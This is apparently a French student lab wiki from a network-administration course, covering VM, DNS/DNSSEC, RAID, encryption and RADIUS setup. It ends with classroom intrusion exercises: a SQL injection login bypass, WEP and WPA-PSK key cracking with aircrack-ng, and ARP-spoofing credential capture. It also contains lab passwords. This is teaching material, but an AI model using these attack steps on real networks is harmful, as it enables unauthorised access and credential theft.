Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

TP sysres IMA2a5 2020/2021 G7

2020-12-15T16:00:28Z

Lchenu : /* Chiffrement de données */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
